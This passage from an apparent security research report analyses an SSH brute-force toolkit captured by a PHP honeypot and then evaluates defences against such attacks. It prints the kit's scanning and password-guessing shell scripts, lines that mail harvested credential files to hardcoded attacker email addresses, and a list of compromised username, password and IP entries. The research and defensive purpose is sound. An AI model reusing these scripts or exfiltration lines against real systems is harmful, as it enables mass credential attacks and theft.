file itself, the contents of the original vulnerable version of the file are displayed. In 

addition, the honeypot provides fairly credible responses to a limited range of exploratory 

commands seeking basic information on the operating system version, users currently 
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logged in, and the like.  The default response for any unsupported commands is to do 

nothing. 

 

Figure 11. The PHPShell 1.7 honeypot interface. 

The software used in this low-interaction honeypot was developed by the PHP 

Honeypot Project [PH06]. Its limited functionality is often sufficient to fool unskilled 

attackers, also known as script-kiddies, long enough to entice them into attempting to 

download malware tools to the honeypot system. More sophisticated hackers are unlikely 

to be fooled because the illusion of a working system breaks down with attempts to 

determine network settings, list open ports, and the like.  
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A primary purpose of many low-interaction honeypot projects is to collect the 

malware tools that attacks download to compromised systems. The honeypot system we 

used gives the appearance of providing full support for such network commands as wget  

and curl . Attackers have no access to the tools they download, yet the tools remain 

available to researchers for analysis. 

In addition to the phishing sites and botnet tools mentioned in the Introduction, a 

large variety of other malicious tools have been collected including backdoor programs, 

denial-of-service toolkits, root exploits, and several scanning tools, such as the webmin  

SSH brute-force toolkit analyzed in this section. 

A.7 Static Analysis of webmin 

The webmin  toolkit was downloaded to the honeypot on the afternoon of January 

24, 2008 by an attacker using an IP address registered to a Romanian telecommunications 

company. Based on the referer data in the honeypot log files, the attacker followed a link 

returned by a search for “phpshell.php” on Google’s Romanian Web search site. After 

issuing a few exploratory commands, the attacker downloaded a single tape archive, or 

tar file, named web.tgz , to the honeypot from a Romanian Web hosting site. 

The web.tgz  archive contains one directory, named webmin , which in turn 

contains 16 files of various kinds. These include five text files, five shell scripts, and six 

binary executable files. Figure 12 below shows a full listing of the webmin  directory as it 

appears after the archive is opened. Detailed information on the files contained in the 

toolkit is provided in the following paragraphs. 

-rwx--x--x 1 csguest csguest    366 2005-10-24 14:5 6 a 

-rwxr-xr-x 1 csguest csguest  11324 2005-11-11 16:5 3 a2 
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-rwxr-xr-x 1 csguest csguest    673 2005-11-11 16:3 2 a3 

-rwx--x--x 1 csguest csguest    206 2004-07-21 20:5 2 auto 

-rwxr-xr-x 1 csguest csguest  22354 2004-12-01 18:3 1 common 

-rwxr-xr-x 1 csguest csguest    265 2004-11-24 18:2 1 gen-pass.sh 

-rwx--x--x 1 csguest csguest     92 2005-04-06 13:5 7 go.sh 

-r-xr-xr-x 1 csguest csguest   2417 2005-05-26 00:2 6 pass_file 

-rwxr-xr-x 1 csguest csguest   2377 2007-08-23 20:5 7 pass_filec 

-rwxr-xr-x 1 csguest csguest   2270 2005-05-26 10:1 2 pass_filees 

-rwxr-xr-x 1 csguest csguest 167964 2001-03-16 11:4 7 pico 

-rwx--x--x 1 csguest csguest  21407 2004-07-21 17:5 8 pscan2 

-rwx--x--x 1 csguest csguest 453972 2004-07-12 14:0 9 ss 

-rwxr-xr-x 1 csguest csguest 842424 2004-09-06 06:2 0 sshf 

-rwxr-xr-x 1 csguest csguest 842736 2004-11-24 07:3 4 ssh-scan 

-rwxr-xr-x 1 csguest csguest   5715 2007-12-22 14:3 7 start  

Figure 12. Listing of the webmin directory. 

A.7.1 The text files 

The text files contained in the kit are named a3, common, pass_file , 

pass_filec , and pass_filees . 

• The file a3 contains an informational banner that appears to provide 

information regarding its associated scanning tools. The text appears to be 

in Romanian, and includes some credit information on the tool kit’s 

apparent developer. Figure 13 below shows the contents of this file. 

• common contains 3,342 words, one per line, which apparently represent 

commonly-used passwords. The word list contained in this file can be 

found in Appendix E. 

• The pass_file , pass_filec , and pass_filees  files each contain a 

number of username/password pairs, one pair per line. Interestingly, the 

contents of pass_file  exactly match the username/password pairs found 

in the most frequently observed version of Dictionary-168, described in 
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the previous section. We believe that the presence of this file in a captured 

malware toolkit provides strong evidence to support the inference of attack 

dictionaries, based on the collected username/password pairs observed in 

attacks. The files pass_filec  and pass_filees  are variations on the 

pass_file  dictionary. Each of these files is quite similar, with a number 

of additional username/password pairs added at the end. The contents of 

all three of these files are presented in Appendix F. 

Clear 
echo "Tatal nostru care esti pe internet," 
echo "Sfinteasca rooterele tale," 
echo "Fie fibra ta optica," 
echo "Faca-se conexiunea ta!" 
echo "Si da-ne noua viteza pe care o avem noaptea s i ziua!" 
echo "Si ne iarta noua conturile pirat" 
echo "Precum si noi iertam facturile providerilor n ostri" 
echo "Si nu ne duce pe noi spre flood si ne izbaves te de lag!" 
echo "############################################# #########" 
echo "#now.. let's get started with thease little m ass shit#" 
echo "#Made by:                 Glu                        #" 
echo "#Greets to:MiKuTuL,Serano,Cortez and all #lin ux-team #" 
echo "############################################# #########" 

Figure 13. Listing of the text file a3. 

A.7.2 The shell scripts and binary executables 

The five script files included in the webmin  toolkit are designed to automate the 

process of port sweeping and SSH brute-force attacks, using a combination of other 

scripts and/or the included binary executable files. Each of these scripts will be described 

in detail in the paragraphs that follow, along with the binary executables they employ.  

Shell script gen-pass.sh. The first script, named gen-pass.sh , accepts two 

file names as command line arguments: 1) a list of usernames, and 2) a list of passwords. 

The script loops through these files and writes username/password pairs, separated by 

spaces, into a new text file, called pass_file . This is, of course, the name of one of the 
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included text files containing username/password pairs described above. Figure 14 below 

shows a listing of the file gen-pass.sh . 

#!/bin/bash 
users=$1; 
pass=$2; 
if [ ! -f "$users" -o ! -f "$pass" ] ; then  
 echo "File not found"; 
 exit; 
fi 
 
rm -f pass_file 
for m_user in $(cat $users) ; do  
 for m_pass in $(cat $pass) ; do  
  echo "$m_user $m_pass" >>pass_file 
 done 
done  

Figure 14. Listing of the shell script gen-pass.sh. 

Shell script a. This script, a listing of which is shown in Figure 15, accepts one 

command line argument, a Class B network prefix (e.g. 128.153 ). The script passes this 

network address, along with the constant 22 (the default TCP port for SSH services) to 

the binary executable pscan2 , a widely known port sweep tool also contained in the 

toolkit. The McAffee Avert® Labs Threat Library [MC04] listed a tool with the same 

name and byte count in December 2004, as part of a set of files which were described as 

a Linux/Portscan tool.  

The results of the port sweep are written to a text file, named according to the 

network’s Class B address (network address + “.pscan.22 ”), after which the contents 

are sorted and all unique written to a new file, named mfu.txt . Information on the total 

number of IP addresses responding to the scan is also output to the display, after which 

the binary executable ssh-scan  is invoked.  (The ssh-scan  file, for which no source 

code or other detailed static analysis information is available, will be described in the 
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Dynamic Analysis section, which follows this section.) Finally, the script cleans up after 

itself, removing the two text files created by the port sweep tool. 

#!/bin/bash 
if [ $# != 1 ]; then 
        echo " usage: $0 <b class>" 
        exit; 
fi 
echo "# Go planet..!" 
./pscan2 $1 22 
sleep 10 
cat $1.pscan.22 |sort |uniq > mfu.txt 
oopsnr2=`grep -c . mfu.txt` 
echo "# found $oopsnr2 servers" 
echo "------------------------" 
echo "# Good Luck!" 
./ssh-scan 100 
rm -rf $1.pscan.22 mfu.txt 
echo "thats all.. wanna play again?"  

Figure 15. Listing of the shell script a. 

We performed an Internet search using several keywords from this script and its 

associated binaries and discovered numerous reports of system compromises involving 

tools invoked by it. In one case [PL05], the system administrator provided a listing of a 

hidden directory named .a , from his system that contains many of the same executable 

files and associated text files described above. This directory listing is shown in Figure 

16 below. 

[root@server .a]# ls –la 
total 4172 
drwxr-xr-x 3 admin4 admin4 380 Jul 25 08:24 . 
drwxrwxrwt 3 root root 60 Jul 24 20:42 .. 
-rw-r--r-- 1 admin4 admin4 36500 May 26 03:12 204.2 02.pscan.22 
-rw-r--r-- 1 admin4 admin4 157918 May 27 07:45 66.3 3.pscan.22 
-rw-r--r-- 1 admin4 admin4 319673 May 28 06:31 66.3 4.pscan.22 
-rw-r--r-- 1 admin4 admin4 93288 May 29 05:43 66.37 .pscan.22 
-rw-r--r-- 1 admin4 admin4 4096 May 29 06:51 66.38. pscan.22 
-rwxr-xr-x 1 admin4 admin4 1373863 Apr 7 23:30 atac  
-rw-r--r-- 1 admin4 admin4 1251700 Apr 8 01:27 bios .txt 
-rw-r--r-- 1 admin4 admin4 21378 Apr 8 00:47 common  
drwxr-xr-x 2 admin4 admin4 160 May 17 2004 d 
-rwxr-xr-x 1 admin4 admin4 265 Nov 24 2004 gen-pass .sh 
-rwxr-xr-x 1 admin4 admin4 2310 May 26 00:52 lndex. php 
-rw-rw-r-- 1 admin4 admin4 48322 May 13 15:51 log.b igsshf 
-rw-rw-r-- 1 admin4 admin4 62427 May 14 00:48 pass_ file 
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-rwx------ 1 admin4 admin4 21407 Jul 21 2004 pscan2  
-rwx------ 1 admin4 admin4 472 May 13 16:25 scan 
-rwxr-xr-x 1 admin4 admin4 842736 Nov 24 2004 ssh-s can 
-rw-r—r-- 1 admin4 admin4 288 Jul 25 04:21 vuln.txt  

Figure 16. Directory listing of malware files on a compromised Linux system. 

There are several striking similarities between the directory listing in Figure 16 

and the contents of the webmin  toolkit. For example, the names, modification dates, and 

byte counts for the files gen-pass.sh , pscan2 , and ssh-scan  correspond exactly. In 

each instance, there is a file named pass_file  and another named common. In addition, 

the listing in Figure 16 contains five files of the sort generated by the shell script from the 

output of the pscan2  port sweep tool described above: 204.202.pscan.22 , 

66.33.pscan.22 , 66.34.pscan.22 , 66.37.pscan.22 , and 66.38.pscan.22 .  

The last file shown in this listing is named vuln.txt.  It is apparently 

generated by the ssh-scan  tool and contains what appears to be a listing of 

username/password pairs and IP addresses that were successfully compromised. The 

contents of this file were also provided in the referenced report and are shown in Figure 

17 below.  

cat vuln.txt  
benz:benz:66.36.254.61  
benz:benz:66.36.254.62  
benz:benz:66.36.254.63  
benz:benz:66.36.254.64  
benz:benz:66.36.254.66  
benz:benz:66.36.254.68  
friend:friend:64.66.92.38  
butch:butch:66.54.156.10  
butch:butch:66.54.156.18  
butch:butch:66.54.156.9  
butch:butch:66.54.156.13  
butch:butch:66.54.156.14 

Figure 17. Listing of file vuln.txt on a compromised Linux system. 
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Shell script auto. This script, the contents of which are shown in Figure 18 

below, also takes a Class B network, as well as a script file name, as arguments and loops 

through values in the range 0-255, representing the associated class C networks. It 

appends network addresses as arguments in calls to another executable file, named assh . 

When the auto script completes, the new script file, named by the second argument, is 

ready for use in an attack on the specified Class B network. 

Unfortunately, assh  was not included in the webmin  archive and Internet 

searches for the script’s source code were unsuccessful. Based on the information 

provided in [MC04], assh  is a fairly large (605 bytes) shell script. While its exact 

contents are unknown, the way it is used in the auto  script indicates strongly that it is an 

SSH scanning tool. Given that assh  was not included in the toolkit, the auto  script 

would be useless to the attacker. 

Echo 
echo "Enter A class range" 
read brange 
echo "Enter output file" 
read file 
crange=0 
while [ $crange -lt 255 ] ; do 
        echo -n "./assh $brange.$crange ; " >> $fil e 
        let crange=crange+1 
done  

Figure 18. Listing of the shell script auto. 

Shell script start. This script is a port sweep and SSH scanning tool, which 

seems to have been written by a fairly unskilled programmer. It accepts one command 

line argument, a Class B network address; however, there is no code to confirm that this 

argument, which is required for the shell script to function, is actually supplied. It first 

displays a banner similar in many ways to the file a3, described in Section 4.1.1 above. 
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The script then checks for the existence of the script a, described at the beginning of this 

section. If script a exists, the start  script continues executing; otherwise it ends. 

The first three shell commands are calls to a1, a2, and a3. The file a1 is missing 

from the toolkit, so its function is unknown. This file is referenced only this once, so it 

seems likely that its function is not critical. Attempts to locate the source for a file by this 

name through Internet searches were unsuccessful. 

The a2 file is a small (11,324 bytes) binary executable file. Running the strings  

command on this file reveals the following line of text which, if supplied as an argument 

to the C exec()  function, would send the file vuln.txt  via email to a specific 

hardcoded email address: 

cat  vuln.txt  |/usr/sbin/sendmail vrajealla123@yahoo.com 

Interestingly, a similar command to send the file vuln.txt  to a different hardcoded 

email address is included at regular intervals in the shell script itself: 

cat  vuln.txt  | mail  -s  "Root`S  Hacked By #moc  Team" datacorz@gmail.com   

Thus, all vulnerabilities detected during the scan would be sent to both email addresses. 

That the initial mail command is “buried” in an executable file and is directed to a 

different address than the one used in the script may suggest that the person who 

developed this particular brute-force SSH attack toolset intended to secretly benefit from 

its use by unskilled attackers. Similar tactics were recently employed in a number of 

easy-to-use phishing site kits that were freely downloadable via the Internet. Obscure 

entries in the sites’ configuration files surreptitiously forwarded sensitive data collected 

from phishing sites to the developer’s own email address [NE08]. Alternatively, the 
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attacker who downloaded the toolset to our honeypot may simply have been unaware of 

the email command included in the a2 binary. 

Finding hardcoded email addresses in malware tools may lead one to believe that 

it would be possible to use this information to trace people involved in scams and attacks. 

In fact, our first impulse was to contact the providers to have the email accounts disabled. 

We were surprised to learn that at least some email providers assume no responsibility for 

the activities of their account holders. For example, as shown in the partial screen shot in 

Figure 19 below, Google directs potential victims of scams or fraud involving Gmail 

accounts to seek assistance elsewhere, depending on the nature of the activity. 

 

Figure 19. Gmail Help Center page on scams and fraud. 
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In the remainder of the start  script, the Class B network specified on the 

command line is attacked using the script a described above, in blocks of ten Class C 

networks at a time. At the end of each block, the files a2 and a3 are invoked in turn, and 

the file vuln.txt  is directed via the mail command to the address 

datacorz@gmail.com . Of course, the same file would be emailed to the yahoo.com 

address hidden in the file a2.  

The script’s functionality could have been coded easily by a moderately skilled 

programmer using a loop structure. Instead, the entire range of the Class C network block 

has been laboriously coded, line by line, throughout the script. It is for this reason we 

estimate that the person who wrote this script is relatively unskilled.  

Because of its length, only a limited excerpt of the start  script is shown in 

Figure 20 below, to give an idea of its structure and function. The full text is provided in 

Appendix G.  Figure 21 shows how the same script could have been coded with a simple 

loop, reducing its size from 361 to 41 lines with no change in functionality. 

. 

. 

. 
if [ -f a ]; then 
./a1 
./a2 
./a3 
cat  vuln.txt  |mail -s "Root`S Hacked By #moc Team" datacorz@gmai l.com 
./a $1.0 
./a $1.1 
./a $1.2 
./a $1.3 
./a $1.4 
./a $1.5 
./a $1.6 
./a $1.7 
./a $1.8 
./a $1.9 
./a $1.10 
./a2 
./a3 
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cat  vuln.txt  |mail -s "Root`S Hacked By #moc Team" datacorz@gmai l.com  
. 
. 
.  

Figure 20. Excerpt of the shell script start. 

Clear 
echo "Tatal nostru care esti pe internet," 
echo "Sfinteasca rooterele tale," 
echo "Fie fibra ta optica," 
echo "Faca-se conexiunea ta!" 
echo "Si da-ne noua viteza pe care o avem noaptea s i ziua!" 
echo "Si ne iarta noua conturile pirat" 
echo "Precum si noi iertam facturile providerilor n ostri" 
echo "Si nu ne duce pe noi spre flood si ne izbaves te de lag!" 
echo "############################################# #########" 
echo "#now.. let's get started with thease little m ass shit#" 
echo "#Made by:               N0Name and ProtecteD by #moc Team      #" 
echo "#Greets to:N0Name The Master Of Univers = #mo c  HacK`s #" 
echo "############################################# #########" 
if [ -f a ]; then 
  ./a1 
  ./a2 
  ./a3 
  cat vuln.txt |mail -s "Root`S Hacked By #moc Team " datacorz@gmail.com 
  ./a $1.0 
  x=1 
  while [ $x -lt 255 ]; do 
    ./a $1.$x 
    if [ $((x % 10)) = 0 ]; then 
      ./a2 
   ./a3 
 cat vuln.txt |mail -s "Root`S Hacked By #moc team"  \ 
datacorz@gmail.com 
    fi 
    x=$((x + 1)) 
  done 
  ./a2 
  ./a3 
  ./a $1.255 
  killall -9 a 
else  
  echo # Ciudat ..Nu Ai Urmat Instructiunile  # 
  echo # trebui dat mv assh a sau mv scan a   # 
  echo # orice ai avea tu ... dohh ..         # 
  killall -9 a 
  killall -9 pscan2 
fi 

Figure 21. Modified version of shell script start. 
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Shell script go.sh. This is the last—and the smallest—shell script found in the 

webmin  archive. It consists of just four lines of code, which are shown in the listing in 

Figure 22 below. 

./ss 22 -b $1 –I eth0 -s 6 

cat bios.txt |sort | uniq > mfu.txt 

./ssh-scan 50 

rm -f bios.txt  

Figure 22. Listing of the shell script go.sh. 

The go.sh  script’s first line invokes a binary executable file named ss , which is 

also contained in the archive. By name and byte count, the ss  file corresponds exactly 

with a file contained in the McAffee Avert® Labs Threat Library entry [MC04] 

referenced above. After examining the strings in the file and conducting an Internet 

search, we were able to locate the source code of a SYN scan tool [SE04], some version 

of which was likely used to produce the ss  binary. We based this judgment on the strong 

correspondence between the options used in the command to invoke this file and the 

common misspelling of the word interface (as “inteface") found in both files. The full 

source code listing is provided in Appendix H. 

The options specified in the script’s invocation of the ss  file are the following: 

• 22 (the TCP port to be swept) 

• -b $1  (a Class B network, given as an argument to the script, to be 

swept) 

• -I eth0  (the network interface to be used) 

• -s 6 (a “speed” setting for the port sweep, which is determined by the 

number of “burst packets” used and a timeout setting between bursts) 



40 

It should be noted that, based on analysis of these options and the source code 

listing referenced above, the ss  tool appears to use raw sockets, rather than the TCP 

connect()  system call to probe its targets. As a result, running this tool would require 

root privileges on any system where it is used. We confirmed this fact during dynamic 

analysis of the ss  tool, the details of which are discussed in the next section. 

In the second line of the script, the contents of a file named bios.txt  are sorted, 

repeated lines removed, and the resulting lines written to a new file, named mfu.txt . 

The file bios.txt  is presumably produced by the activity of the ss  binary executable, 

while mfu.txt  is required in a subsequent step in the script. 

The following line invokes another executable binary file found in the archive, 

named ssh-scan , with the argument 50. This file is familiar from the directory listing of 

the compromised system shown in Figure 16. By name, modification date, and byte 

count, the file ssh-scan  found in the webmin  archive corresponds exactly with a file 

shown in that directory listing. We were unable to locate any likely source code for ssh-

scan ; however, a search of the strings contained in the file using the strings  command 

revealed the following familiar file names: 

• vuln.txt  (the file listed in Figure 17, which appears to contain 

username/password pairs and IP addresses from vulnerable systems) 

• mfu.txt  (A file evidently produced from bios.txt, which appears to 

contain the output from the ss  binary executable) 
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• pass_file  (The name of a file in the webmin  archive containing 

username/password pairs. A file by the same name is also shown in the 

listing of the compromised system in Figure 16.) 

Finally, in the last line of the script, the file bios.txt , referenced in the second 

line, is deleted from the system. Interestingly, there appears to be no mechanism in this 

toolset for communicating the results of the port sweep and SSH probe to the attacker by 

email or other means. Thus, an attacker would need to forward that information manually 

by other means, or he could immediately exploit vulnerable servers as they are 

discovered. We will continue our analysis of this tool in the following section. 

A.8 Dynamic Analysis of go.sh 

In the previous section, we statically analyzed the webmin toolkit as a whole. In 

this section, we look at one tool from webmin, go.sh , in more detail.  Specifically, we 

run the go.sh  tool and report the results of this  dynamic analysis of the SSH brute-force 

attack tools invoked in the go.sh  shell script. We chose this tool for dynamic analysis 

for several reasons: 

• This toolset is complete; there are no missing components, unlike the 

scripts a, auto , and start  

• The toolset calls binaries for which we don’t have source code, so actually 

running the tool was important to understanding its function 

• This toolset does not depend on a working email server or other external 

system components for complete operation 

• The script is short, simple and of good overall quality 
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We conducted our tests on an isolated network consisting of three low-end PCs 

running Ubuntu Linux. One of these machines was designated as the attacker. The two 

remaining PCs were used as attack targets and were multiplexed, using the free VMWare 

Player. We installed and configured two virtual machines running Ubuntu Linux on each 

of the target machines. Thus, our isolated testing network offered a total of six Linux 

systems acting as potentially vulnerable hosts. Two of the targets were purposely seeded 

with vulnerable username/password pairs listed in the attack dictionaries included in the 

toolset. The network diagram in Figure 23 below illustrates our dynamic testing network 

setup. The testing network was disconnected from the campus network for the duration of 

all dynamic tests. 

 

Figure 23. Dynamic testing network diagram. 

We first attempted to run the script without root privileges to test our theory that 

the ss  scanner uses raw sockets, and would therefore require root privileges to run. See 

Figure 21 for a screenshot showing the command line dialog. We ran the script with one 
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command line argument, as required, specifying the Class B network address for our 

isolated testing environment. On startup, the ss  scanner first confirms the parameters set 

by the supplied arguments in the first line of the script go.sh, shown in Figure 20 above: 

• The IP addresses to be scanned: 10.10.*.* 

• The timeout and burst packet parameters for a speed setting of 6: 30,000 

usec and 50 burst packets (See the source code listing for the ss  tool at 

Appendix I for more information on the parameters for various speed 

settings) 

• The network interface to be used for the port sweep: eth0 

As shown in Figure 24, an error message immediately follows, indicating that the 

effective user ID is not zero, which is the user ID for the root user. The subsequent  line 

is also an error message, which results from the script’s inability to sort and pipe unique 

lines from the file produced by the ss  tool: bios.txt . Finally, there is a line of text 

which is apparently in the Romanian language. This text is produced by the ssh-scan  

tool in each case when it is run. 
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Figure 24. An attempt to run go.sh without root privileges. 

We then ran the script with the sudo  command, which provides the default user 

with root privileges. The script then executed as expected. See Figure 25 for an excerpt of 

the command line dialog. 

Upon successful startup, the ss  tool outputs some additional information, 

including the TCP flags set in the outgoing packets, as well as their source and 

destination ports (which appear to be reversed), the IP address of the network interface 

used, as well as the process ID (PID) of the scanning tool. After iterating through the first 

several Class C networks in the specified range without results, the scanner successfully 

identifies the IP addresses of the six hosts running SSH servers on our isolated network: 

10.10.10.20 , 10.10.10.10 , 10.10.10.11 , 10.10.10.12 , 10.10.10.21 , and 

10.10.10.22 , after which the scan continues. 
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curly@curly-desktop:~/webmin$ sudo ./go.sh 10.10 
scanning network 10.10.*.* 
usec: 30000, burst packets 50 
using inteface eth0 
using "(tcp[tcpflags]=0x12) and (src port 22) and ( dst port 61695)" as 
pcap filter 
my detected ip on eth0 is 10.10.10.123 
capturing process started pid 31495 
scanning 10.10.0.* 
scanning 10.10.1.* 
scanning 10.10.2.* 
scanning 10.10.3.* 
scanning 10.10.4.* 
scanning 10.10.5.* 
scanning 10.10.6.* 
scanning 10.10.7.* 
scanning 10.10.8.* 
scanning 10.10.9.* 
scanning 10.10.10.* 
10.10.10.20 
10.10.10.10 
10.10.10.11 
10.10.10.12 
10.10.10.21 
10.10.10.22 
scanning 10.10.11.* 

. 

. 

. 

Figure 25. A successful run of the go.sh script. 

Figure 26 below shows an excerpt of a network trace of the scan of one of the 

target systems used in the test. This trace was collected using the Wireshark network 

protocol analyzer, running on one of the target systems. The first three listed TCP 

segments comprise the scan of the host with IP address 10.10.10.12 by the attacking host, 

with IP 10.10.10.123.  

The attacker first sends a TCP segment with the SYN flag set to the destination 

host’s SSH port. It should be noted that this segment contains only a tiny fraction of data 

normally present in a TCP segment, a strong indication that this is a specially crafted 

packet, not produced by the TCP stack. The target responds with SYN/ACK, to which the 

attacker replies with a TCP reset segment. This final packet from the attacking host is 
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generated automatically by the TCP stack on the attacking host, as the required response 

to an unsolicited (by the TCP stack) SYN/ACK packet [IE81]. 

 

Figure 26. Network trace of a SYN scan. 

The IP address of each host that responds with a TCP SYN/ACK is written to the 

file bios.txt . When all the IP addresses in the specified network range have been 

scanned and the addresses of active hosts recorded, the file mfu.txt  is produced, as 

described in the previous section, and the ssh-scan  tool is invoked. 

Because we were unable to locate source code for it, we know less about the 

functioning of the ssh-scan  tool. Dynamic testing revealed that it requires the file 

mfu.txt , which is produced by the ss  scanner. Attempting to run ssh-scan  without 

this file in the present working directory only produces an error message (“Unde-I 

mfu.txt ” ) . Also required is a file named pass_file , containing username/password 

pairs to be used during login attempts. 



47 

When invoked with all its requirements, ssh-scan  attempts to log in to all hosts 

listed in the file mfu.txt , using the username/password pairs listed in pass_file , As 

shown in the partial process listing in Figure 27, a new thread is created for each targeted 

host. Information on successful login attempts are immediately displayed to the user, as 

shown in the command line dialog provided in Figure 28. 

 

Figure 27. Process listing of ssh-scan threads. 

curly@curly-desktop:~/webmin$ L-amPrins... !! ->sta ff:staff:10.10.10.20 

L-amPrins... !! ->sales:sales:10.10.10.10 

DUP L-amPrins... !! ->sales:sales:10.10.10.10  

Figure 28. Reports of successful login attempts by the ssh-scan tool. 

In this instance, the tool was able to log into host 10.10.10.20  with username 

staff  and password staff , and into host 10.10.10.10  with username sales  and 

password sales . A duplicate login for this latter host is also reported. The reason for this 
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duplication is not known. In addition to displaying this information dynamically, all 

successful logins are also recorded to a file named vuln.txt . The contents of this file 

and those of mfu.txt  following a test run on our isolated network are shown in Figure 

29 below. In its final step, the go.sh  script removes the file bios.txt  from the local 

directory. 

The go.sh  script appears to be a highly efficient tool. The total time required to 

port sweep an entire Class B network and then attempt 168 login attempts on each of six 

hosts was just under 8-½ minutes. 

curly@curly-desktop:~/webmin$ cat mfu.txt 
10.10.10.10 
10.10.10.11 
10.10.10.12 
10.10.10.20 
10.10.10.21 
10.10.10.22 curly@curly-desktop:~/webmin$ cat vuln. txt 
DUP sales:sales:10.10.10.10 
sales:sales:10.10.10.10 
staff:staff:10.10.10.20  

Figure 29. Contents of files produced by the ss and ssh-scan tools. 



49 

5. Evaluation of Common Defenses Against SSH Attacks 

Having collected and analyzed a large amount of data on brute-force SSH attacks, 

we now offer an evaluation of a variety of mitigation techniques that are commonly 

recommended for protecting SSH servers, in light of the insights gained from our 

research. We also suggest some additional defense strategies based on our study data. 

Enforcing strong passwords with password checking programs or libraries. 

Much has been written on what constitutes a strong password. A quick Web search turns 

up a long list of sites offering advice on this topic. One such site is Microsoft 

Corporation’s page: “Strong passwords: How to create and use them” [MI06]. The advice 

offered on this page reflects the broad consensus of the criteria that constitute a strong 

password: 

• Make it lengthy 

• Combine letters, numbers, and symbols. 

• Use words and phrases that are easy for you to remember, but difficult for others 

to guess 

Microsoft’s site also offers a six-step tutorial for creating a strong, memorable password. 

The final step includes a link to Microsoft’s Password Checker tool [MI08], a utility that 

helps users determine the strength of candidate passwords. 

While many resources are available for helping users choose strong passwords, 

the challenge for many system administrators is to get their users to actually select and 

use strong passwords. Fortunately, password-checking libraries that can prevent users 

from choosing weak or vulnerable passwords are readily available. Perhaps the most 
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commonly used are the Openwall Project’s pam_passwdqc PAM module [PL08] and the 

cracklib library [CR08]. 

The pam_passwdqc module is simple to install, highly configurable, provides 

support for passphrases, and subjects candidate passwords to a number of checks 

including minimum password length and the presence of weak substrings. The 

pam_passwdqc module can also generate random passwords. 

The cracklib module provides for similar checking. Candidate passwords are 

tested for strings related to the username and GCOS data, as well as simple patterns and 

dictionary words. Administrators can also incorporate checks against password lists. The 

cracklib project Web site provides one such list, which currently contains more than 1.6 

million words culled from a variety of sources, including the passwords captured in our 

honeypots.  

We believe that enforcing strong passwords is arguably the most important step 

system administrators can take to protect SSH servers from brute-force password attacks. 

As noted in the SANS Institute’s most recent Security Risks report [SA07a], even fully 

patched systems are vulnerable to brute force password-guessing attacks. Password-

checking libraries such as cracklib can prevent users from inadvertently choosing 

vulnerable passwords such as those based on their usernames. Cracklib’s ability to check 

password choices against restricted systematic approaches to generating passwords is 

every bit as important, we believe. Our research shows that a significant percentage of 

malicious login attempts are based on dictionaries of usernames and passwords. While 

the majority of these passwords are obviously weak by any standard, we observed a 

significant percentage of “strong” passwords being used in some attacks. Collecting and 
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using attack dictionaries in password checking can help users avoid selecting passwords 

vulnerable to compromise, regardless of their perceived strength.  

Avoiding easily guessed usernames. Our results show that the usernames in 

malicious login attempts that target the accounts of real users consist almost exclusively 

of first names. The use of account names based on combinations of surnames with 

initials, or similar schemes that produce less easily guessable account names can do much 

to complicate the job of brute-force attackers. For example, the username owensjp  

would be much more difficult for an attacker to guess than usernames such as james  or 

jim . Unfortunately, many organizations publish staff directories including email 

addresses that make the username generation scheme plain to even casual Web visitors. 

One suggested method to avoid publicizing the generation scheme for usernames is to 

support email aliases that do not resemble account usernames. For example, the user Jim 

Owens, whose username is owensjp could use the alias jim.owens@clarkson.edu as his 

email address. Publicizing this information in a publicly-available directory provides no 

information on the username. In addition, email aliases are readily supported by all major 

email systems, so little additional overhead is incurred in creating or updating user 

accounts. 

Disabling logins via SSH for the root account.  It has long been considered 

good security practice to disable logins via SSH for the root account. As noted above, one 

of the first challenges faced by attackers engaged in brute-force SSH attacks is that of 

obtaining or guessing valid user account names. The root account is an obvious target, 

since it is known to exist on all Unix/Linux systems. By disabling SSH logins to root, 

system administrators complicate the job of the attacker. Even when root logins via SSH 
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are disabled, these login attempts fail silently. So the attacker has no way of knowing 

whether these attempts have any chance of succeeding. If a non-privileged account is 

compromised, the attacker gains a foothold on the system and may be able to gain full 

privileges through a local root exploit. 

Our results show that the root account was targeted in 20 percent of all malicious 

login attempts. Therefore, by disabling access to this account, system administrators can 

render useless a significant percentage of malicious traffic. Successfully targeting other 

user accounts requires some research, a bit of luck on the attacker’s part, a high volume 

of login attempts, or a combination of all three. 

Running the SSH server on a non-standard high port. SSH servers 

conventionally listen on TCP port 22, but there is nothing to prevent system 

administrators from configuring SSH servers to listen on any other unused port among 

the 65,535 ports provided by the TCP protocol. All the SSH server systems we are aware 

of can be readily configured to listen on alternative ports. We believe this situation 

creates a great opportunity to hide the SSH service from attackers, much like the 

proverbial needle in a haystack. Commonly-used port scanning tools such as Nmap 

[NM08] scan just over 1,600 ports by default, leaving the vast majority unexplored. 

Moreover, a recent study of the relationship between port scans and attacks [PT05] 

concluded that more than 50 percent of the observed attacks were not preceded by a port 

scan. Some will argue that this method is an example of “security by obscurity.” 

However, we believe that running an otherwise well-secured SSH server on a 

nonstandard high port can help reduce its vulnerability to brute-force attacks without 

exposing the server to additional risk. We also note that all three honeypots used in this 
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study ran a second SSH server on a high port, which was used for maintenance and 

control purposes. No malicious login attempts directed at the servers running on these 

ports were observed during the same period that more than 150,000 attacks were 

observed on the default SSH port.  Asking legitimate users to remember the non-standard 

port can be a small inconvenience. 

Using TCP Wrappers or iptables to block IP addresses after repeated failed 

login attempts. A number of intrusion prevention tools, such as DenyHosts [DE08], 

BlockHosts [BL06], and fail2ban [FA07], have been introduced over the past several 

years to help defend against brute-force password-guessing attacks. These tools work by 

parsing system log files for failed login attempts on a periodic basis, and then taking 

action to lock out attacking IP addresses using iptables, TCP Wrappers, or null routing 

rules. The DenyHosts tool is focused on protecting the SSH service, while BlockHosts 

can be used to protect both SSH and FTP servers. The fail2ban tool is more flexible in 

that it can be configured to protect SSH, FTP, and Web servers.  

In addition to parsing log files for attacking IP addresses on the local machine, 

DenyHosts also provides a synchronization function through which blocked IP addresses 

on individual servers running the software worldwide can be synchronized with a central 

server. Using this system, participating servers can be configured to periodically 

synchronize their /etc/hosts.deny files with the central server. In this way, attacks by 

many blocked hosts can be prevented before the attacker has the chance to initiate even 

one login attempt. 

We found that over 93 percent of the 333 malicious IP addresses collected in our 

study were listed in the /etc/hosts.deny file of a local server synchronized with the 
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DenyHosts central database. Servers using this service would therefore have been 

protected from the vast majority of the attacks observed in our study. On the other hand, 

we observed a small number of attacks that appear to be specifically designed to thwart 

these systems, based as they are on the attacker’s IP address. The fledgling attempts we 

observed are clearly becoming more sophisticated, we anticipate they will improve even 

more in the coming months.  

It should also be noted that there may be some administrative overhead associated 

